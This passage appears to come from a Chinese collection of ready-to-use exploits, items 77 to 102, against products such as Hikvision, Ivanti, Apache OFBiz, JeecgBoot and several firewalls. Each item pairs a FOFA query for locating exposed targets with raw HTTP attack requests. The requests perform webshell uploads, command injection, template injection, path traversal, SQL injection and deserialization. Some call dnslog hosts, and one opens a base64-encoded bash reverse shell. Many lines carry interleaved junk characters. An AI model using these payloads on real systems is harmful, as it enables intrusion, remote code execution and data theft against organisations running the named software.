6 Z# f4 ^8 e) D" Y2 T: W"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
8 U7 w0 O, X  S# p( S9 d}


GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x



77. F22服装管理软件系统UploadHandler.ashx任意文件上传
8 x& z4 ^! s" c) R& bFOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
" u+ G; g2 {# E0 i0 fHost: x.x.x.x
5 l4 u8 L' K. G. RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
" B& Y: O( S* ?% S2 }Connection: close
Content-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
/ |% |. R1 s: n9 G. ?. M) UAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
. d+ u- Q& a# Q! ^
  x+ f1 r( f4 L6 M' @' f------------398jnjVTTlDVXHlE7yYnfwBoix
1 O0 J0 }- T- S7 ?Content-Disposition: form-data; name="folder"

/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
! W* W. ~, p' a3 [' w9 FContent-Type: application/octet-stream

hello1234567
$ v3 v% `* [2 C' M7 x$ R------------398jnjVTTlDVXHlE7yYnfwBoix
0 e* f6 z" Z4 u4 P& i8 m" FContent-Disposition: form-data; name="Upload"
! ~" n: f* Y3 z5 c
8 b6 l% f9 m9 v8 M: k# e! b0 ?Submit Query
& R' k& W9 j; b" v) N6 _/ P------------398jnjVTTlDVXHlE7yYnfwBoix--

& O) T5 N, c& g
; _9 H/ h* H2 ^/ R2 O78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
8 K  P3 S1 o3 o" e9 aFOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 v: W0 J1 K. ^+ I$ D3 Z3 k% W0 ~: mConnection: close
0 Q' W; t$ K) ?, f% Z6 M, V7 A8 bContent-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
7 H$ ?! u1 M1 n, c- X; b; X, LContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
$ T9 n, x# }) J8 g------YsOxWxSvj1KyZow1PTsh98fdu6l
& T0 H5 y' i3 U3 V7 J! vContent-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
( H3 W$ h& B* O) d------YsOxWxSvj1KyZow1PTsh98fdu6l--

4 u( _; O; {( X5 L: j' n
8 f6 `0 U+ O* ]$ MGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
1 P2 o3 O; o8 o2 G" {4 k# i( H1 GHost: x.x.x.x


79. BYTEVALUE 百为流控路由器远程命令执行
3 m! r, U7 {, I. E1 I7 m; o  O2 }: Q; uFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
6 J5 _6 d- k: _Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
. A, l0 Z! {( k* @0 s9 WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
! b7 u( n+ V" Z( A  |) c/ pUpgrade-Insecure-Requests: 1
+ z" I' O2 Z5 A+ ^: L; n
. c- C7 F( s/ \. Y  G3 c$ z& L
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
9 B  ]" A; N5 o3 w. e) G( \. r/ KHost: x.x.x.x
# q( g8 C6 j: Z4 {0 yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 f/ ?, a; U8 ~; GContent-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 Y+ g1 x7 P7 ?/ sAccept-Encoding: gzip, deflate
+ C8 E- \; d; U- E; wAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
# P; j0 K+ k9 A/ x0 Q2 w9 z: UUpgrade-Insecure-Requests: 1

- r3 K  ]/ Y% X) `4 N<% out.print("oessqeonylzaf");%>
8 r5 [5 i& Q6 z# Z( h

GET /xykqmfxpoas.jsp HTTP/1.1
  `+ F" ~  X  C. iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
" E3 u$ V* ?8 {- xAccept-Encoding: gzip
# V5 V( N# o3 n9 F: _  I3 |! [
: `: f  {3 ^1 M- }5 `2 y
8 Y8 Y0 G! |9 h' n81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
) A% `( i2 b1 w5 a3 C/ t7 DGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
) O* w1 B/ M+ n0 UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% H) q* c7 _1 ZConnection: close
Accept-Encoding: gzip

/ d: L: `* h; M) Q9 M* O. M
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
/ R, \* r. }0 x" F0 NHost: BaseURL
" I- p6 b$ x& D' z! r1 KUser-Agent: Go-http-client/1.1
Content-Length: 23
) N/ r5 C& q+ Y1 nAccept-Encoding: gzip
& k# F5 i# \, R" bConnection: close
4 ]- [8 m1 v2 a* hContent-Type: application/x-www-form-urlencoded
Referer: BaseURL

, j& I% h3 I4 {7 Y4 _z1=1&z2="|id;"&z3=bhost

9 f; w( a5 [  O7 A" _! ?
2 Q8 a* ~. Q% h83. JeecgBoot testConnection 远程命令执行
8 E7 D2 [" F+ l6 B4 y4 C% KFOFA：title=="JeecgBoot 企业级低代码平台"

# ?0 J1 F6 G( L6 X5 H. a& ^( `
POST /jmreport/testConnection HTTP/1.1
# L9 Z' L: ?* {/ U! ^: w% q5 tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 n0 b% v5 R8 e8 o/ |Connection: close
& [% K1 C+ X" r7 M7 a+ g( AContent-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
/ ]; ]; e; g; C4 [( tContent-Type: application/json
; L) T. U4 t+ S2 t/ z! p4 j
PAYLOAD

: ^5 u" I& Y' I84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
  J& o: F7 z+ s& X, L; R  gFOFA：title=="JeecgBoot 企业级低代码平台"
7 v4 d$ X6 x& q8 _' [  i( C


POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
2 F5 r: E4 l6 f! i* j3 [. KHost: 192.168.40.130:8080
. t, F& P% p; `, B( _2 N( zUser-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
8 |* \  n# P) X& TConnection: close
) |! K* F" X0 _% V: vContent-Type: application/json
( w6 {9 G$ \! DAccept-Encoding: gzip

, U& @( b% v0 e4 `/ \  w{
' j% }2 i/ s5 ]( F6 k8 a2 M7 w( O "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
( K0 S) X" o# S- C8 ?& N: i* b}
" P. ^# s2 h8 W# |6 y2 Z9 k

85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
1 V( S- X8 t6 O' R# i$ nEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
* K6 y: t5 r. i0 p: h, l! b7 w5 pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: s6 N6 m- F1 G4 aContent-Type: application/octet-stream
  N. g  [# h2 j2 gAccept-Encoding: gzip
* U, }, n. |% @" R/ L  v7 C
4 @  Q8 I& c8 @8 R8 \7 DPAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp
9 s2 A; a, O4 s' E# ?
86. 日本tosei自助洗衣机RCE
4 @- R/ v5 u: {7 W: y& BFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
5 ?: j, I6 k$ Z* KHost: x.x.x.x
# v5 ?# P7 Y* k: w% y2 XUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
4 z+ S& @1 O/ E9 u( c/ Q: z3 UContent-Length: 44
8 b2 w/ D2 n" o" HAccept: */*
Accept-Encoding: gzip
1 D. }  q& D7 K' _8 u+ f9 @0 b8 i7 S; }) jAccept-Language: en
  Z- a/ R: d. @5 i  CContent-Type: application/x-www-form-urlencoded
! ]1 ]) _$ e  B8 V, K; K+ X( _
( X0 v$ C  B; T! [3 |& bhost=%0acat${IFS}/etc/passwd%0a&command=ping
3 |% W. |6 y. w+ X, w

' h# J1 E0 {0 n) f. A87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
4 J" C0 V0 V" r& |5 [, kPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
& p! U& T$ `0 L# X& DHost: X.X.X.X
$ T  p  S9 z1 z+ h, [2 u2 W8 TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ {6 G9 n5 I2 G8 R* c+ u7 aConnection: close
Content-Length: 198
7 [/ ]* L* I6 f/ g* ?: lAccept-Encoding: gzip
1 O1 W7 X$ k2 y7 g/ ~8 m, s/ yContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
! a* u5 u( A7 r* n( H
--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
; S7 I. }) n  R* x  e0 S9 D! p" p4 c3 D5 A- jContent-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
2 c9 w. `9 ^2 {--qqobiandqgawlxodfiisporjwravxtvd--

4 T" y5 c  M3 L' [7 l# @, z" O
/jfhatuwe.php

: I, R! j5 X. h9 O- p88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
' S+ K: [& I6 P) N1 [FOFA：title="明御安全网关"
* [+ e+ l$ z' S% {GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 g' S/ p% e- l. c* a4 l! s+ iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ W& _9 k1 c, a. k( }' @& xAccept-Encoding: gzip, deflate
/ d5 {5 Z1 X* n' kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; U$ q2 Y. H! H( G  aConnection: close

% n8 q0 p1 P% n2 e+ k, L
6 H0 H5 L3 D  s' l$ k' d/astdfkhl.php
0 {8 u4 L8 ?$ G9 }  O/ t( I8 k
+ v# a$ o. _" \6 p89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
. g$ |  \* l" i; E+ P! W% bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
. F% {5 g, ^0 U8 y9 ?# O, x& z( i3 QContent-Length: 41
( [+ r: j- e! u4 Q- K8 A, i8 ^Content-Type: application/x-www-form-urlencoded
, s; a+ R2 _* s9 g; s, kAccept-Encoding: gzip
9 \9 k; P9 d/ R6 G$ T9 U
option=2&GUID=-1'+union+select+111*222--+


90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
% G2 Y- }' A1 ]' ^# t% \4 kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
, m' \- V7 m7 B$ J: F! x. E4 _+ iContent-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
: [4 Z! Y$ e! D: X' ZAccept-Encoding: gzip, deflate
. A, ^- |9 g. C- p1 V. IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 U4 W$ a( ]1 Q! d* IConnection: close
, ?* y, v& z. r9 UContent-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

2 v1 S" y+ o. u; x% O# F1 zjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
$ k$ L+ m# h2 D4 A$ ~0 A; q3 K

91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
0 p( |( a7 ?) `GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
6 K( G* ^* M- t" A0 e6 P6 i6 i/ pAccept: */*
Connection: keep-alive

7 G. Z( I7 z% |
+ K3 Q9 ^3 r' h  K4 |' O3 s
; {- g( a) m3 D8 R2 ~: c* V92. 海康威视运行管理中心session命令执行
1 h9 \3 c) \6 i5 NFastjson命令执行
0 i; t9 }+ ~. @; A7 Z4 b6 @+ Thunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
+ y& l; V! x: ~3 W6 C& t) qPOST /center/api/session HTTP/1.1
: ~. T; m$ K+ w# w: b! UHost:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
5 X. f- P5 T2 ]- I! LContent-Length: 5778
; s5 p* [$ u& ~
PAYLOAD


93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
7 G9 D- h" g8 Q& l! QFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 [  y3 `; M! h
' q4 P3 m  E' P/ y9 v------WebKitFormBoundarykcbkgdfx
6 c- t( D' c. c  NContent-Disposition: form-data; name="MAX_FILE_SIZE"

3 m& ^1 T) r4 U' y5 @) W10000000
------WebKitFormBoundarykcbkgdfx
* k& Y% _  x7 R$ h" ^Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

& w, e! U: D; K2 swagletqrkwrddkthtulxsqrphulnknxa
/ s/ I! K8 Y+ w; X% N9 t: V------WebKitFormBoundarykcbkgdfx
4 m8 D( O1 I9 H' t: [+ A. T3 ZContent-Disposition: form-data; name="submit_post"
% r; v5 L) w* r
obj_app_upfile
; A* p  y; @3 k8 f------WebKitFormBoundarykcbkgdfx
. U3 p2 q2 w6 Z- b* a& V' h& JContent-Disposition: form-data; name="__hash__"
9 m2 L" U2 W; E# v. n
6 `0 m1 F3 O2 }7 H2 g/ t0b9d6b1ab7479ab69d9f71b05e0e9445
9 S) j" o7 ?8 S- r5 ?  F------WebKitFormBoundarykcbkgdfx--

5 Z" u' i, [- J( q% P4 r9 ]  h) D
/ |  _9 a' d1 sGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
# _  M4 O# ~6 @User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
: U- q* \* q8 O2 {( X  Y
* I( \( }! u3 ?! {- @, p6 B# Y% M
* Z7 y5 H' x  R4 V- I+ ^7 z94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
, P6 s$ {- N5 GHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
% ~1 \1 {1 c! e: }4 n( N( G! yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
# D0 w6 R9 j0 @+ j
" Z" s/ s- {2 K7 [1 z- O* |% }------WebKitFormBoundarybqvzqvmt
% l& A, F  g5 K% d$ O& D& kContent-Disposition: form-data; name="MAX_FILE_SIZE"
6 q: {" S( G: U( y' ]; D
- j1 q- L5 W+ a; j10000000
" ?' r3 z- s" P& z------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
: p4 B: j5 c( S+ g3 zContent-Type: text/plain
6 k  @) n4 N' A9 D7 F
pxplitttsrjnyoafavcajwkvhxindhmu
' u" Z9 `9 k  J" H7 ~0 C------WebKitFormBoundarybqvzqvmt
$ C% s& S6 P' \( P- Y6 f# j7 p/ H% A- NContent-Disposition: form-data; name="submit_post"
# b) T. o4 H$ k1 O& X. U
obj_app_upfile
3 G$ X* A" h$ Y" o------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
, B) B% N. t4 y
3 r4 K3 r. y7 a( i0b9d6b1ab7479ab69d9f71b05e0e9445
; `, S2 Q( K* H1 o6 C------WebKitFormBoundarybqvzqvmt--

) q" T3 P0 m4 d" M; g9 j

7 N9 z. Y- [$ Z6 VGET /attachements/xlskxknxa.txt HTTP/1.1
3 F/ B, |# ~  Z6 N6 `# ]Host: xx.xx.xx.xx
  L# ?2 O- A" z# R* {# @- hUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


* m! i7 ?1 Q. N: D
- w2 e9 `# t8 R8 [95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
' T4 d8 \" U7 A/ ]7 j% qPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
8 U1 }/ F1 }* X8 N8 @Host: x.x.x.x
% Z8 b6 t# v1 {  h# g: HUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
  e+ E) T  n/ J$ ~/ X5 D% q& m
<?xml version="1.0"?>
3 D1 E/ X4 S* f. w& I$ h<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
# {! u, N+ F5 c/ i5 |  a    <params>
      <param>
      <value>
( W2 K6 j' Y1 s! j: g- ]3 |        <struct>
       <member>
, h1 P/ r- y* f# D( Y, n, H          <name>test</name>
' w& o+ U) P. w8 h, W' C2 k          <value>
% b# o% B  C6 U      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
$ B  C/ y1 s; H% y1 f# y          </value>
( d7 O$ x+ T- x9 L8 X        </member>
; K% e6 R7 P2 o, d      </struct>
: U% A0 M( R$ S% D6 J      </value>
5 N+ G3 }: Z8 h) |$ Z    </param>
) a' w) `9 h% U/ ]' j    </params>
2 j# W' _8 K* j# Z0 N, i</methodCall>
1 Y. I) s  n' ]6 ?5 c' m
- _$ g1 y0 M, @8 Z  [" q3 A
用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


) B" @# ]7 ]6 v, \7 P) J/ Z& w将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
! X1 z5 M) t8 _! CHost: 192.168.40.130:8443
2 Q/ }6 _' B5 s, DUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
- u* _' ^: R' A1 t3 K0 ~Connection: close
Content-Length: 889
. e* m% v# W- r* R# t" s9 wContent-Type: application/xml
5 A* w1 g6 L& ~# b1 L. q+ WAccept-Encoding: gzip
$ D4 A8 d& Y' K  x
7 o' q4 q" M5 f0 RPAYLOAD
$ H/ I: Z7 o6 r! x4 Q+ M
96. Apache OFBiz  18.12.11 groovy 远程代码执行
9 {1 r) b" r0 J( H8 H3 ?FOFA：app="Apache_OFBiz"
" A  g  g* a7 S6 `2 D4 G' o2 ]POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
, T- O7 X" A6 b, y; O3 t$ `6 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
; Z; q% p7 R6 ^% R# rAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- v' H2 _; J+ hContent-Type: application/x-www-form-urlencoded
Content-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);


反弹shell
在kali上启动一个监听
nc -lvp 7777
( o* c" K; P" Y8 ]* v+ d3 Q1 {8 Q
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
8 L0 z  r1 h: A+ y* C) tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
8 C) l: f: F3 ^7 T% U6 r; yAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 n; }+ ~0 V; H( ~$ N$ d+ UContent-Type: application/x-www-form-urlencoded
Content-Length: 71

. C8 a: r  `; a6 G3 S3 HgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

% w' e; \6 H& W. A97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
3 V9 u# p$ ?$ w) M" k0 \FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
7 l, A% T0 ~) X8 B+ _$ VGET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
% S( M4 a# n5 \# }- GCookie: rememberMe=PAYLOAD
3 j3 \4 q; k% O, i, N6 RX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


1 E$ S9 d% H$ u7 ?2 }9 g+ m98. SpiderFlow爬虫平台远程命令执行
! q9 W3 w: q' h. ^CVE-2024-0195
3 \5 w  O  `$ @: wFOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
Accept: */*
8 f# ]$ |: d9 N- l- w" O7 U: r: ~Accept-Encoding: gzip, deflate
1 \( J) O0 l3 E* o( |, D8 NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 p" f: w/ v/ J3 ]  W$ L/ iContent-Type: application/x-www-form-urlencoded; charset=UTF-8
- o$ V7 m7 s" v9 ^& \X-Requested-With: XMLHttpRequest
* x5 a" o0 X: r
id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


) V* v+ ~( e8 n99. Ncast盈可视高清智能录播系统busiFacade RCE
0 b6 }' k' s5 mCVE-2024-0305
0 i' c2 O3 T# q: T+ F" D. y' {3 n: MFOFA：app="Ncast-产品" && title=="高清智能录播系统"
) _2 X& q+ A: }POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
& Y! R- Q4 X$ O! ?9 A" X, WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
% E% f5 _: ?  yConnection: close
% @* w2 i, e6 {7 Q! sContent-Length: 154
. C; s# z/ U% K+ G" M. jAccept: */*
Accept-Encoding: gzip, deflate
+ Y. D! R7 ^, H8 _9 }) SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  N8 l! r6 M3 d- `Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
7 y% H/ A+ P2 S% H' J
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
" E$ x* c. l0 n1 V( A

( k* |& U! e) u2 c100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
5 h$ O. V; K5 J* q, }FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
. W  ^2 `- t: wContent-Length: 201
9 S% @# o. \  ?6 n0 dContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
( t  d# o: @; b" V8 B' _8 r& v4 lAccept-Encoding: gzip

# O; I, R3 e* {6 q- z4 ^- @# n; Q------WebKitFormBoundarygcflwtei
7 I! h5 T+ S0 M( O' `Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
( l8 N, ?# E/ C1 ?4 o- ^
( e+ d5 @2 ~" s) t2ayyhRXiAsKXL8olvF5s4qqyI2O
' H  S& `* I6 D. R4 u------WebKitFormBoundarygcflwtei--

$ Q- w/ g: }3 K1 ?: h9 y
3 u+ C9 z3 |) U& X; a/ z7 h! v101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
+ _8 O" J  @+ ^$ u7 r1 W+ g; oHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
, x: G# Y2 F6 tConnection: close
- P, {/ v& e' F2 AAccept-Encoding: gzip


! W, ?' N8 d$ k9 H8 c/ X0 J: o( v102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
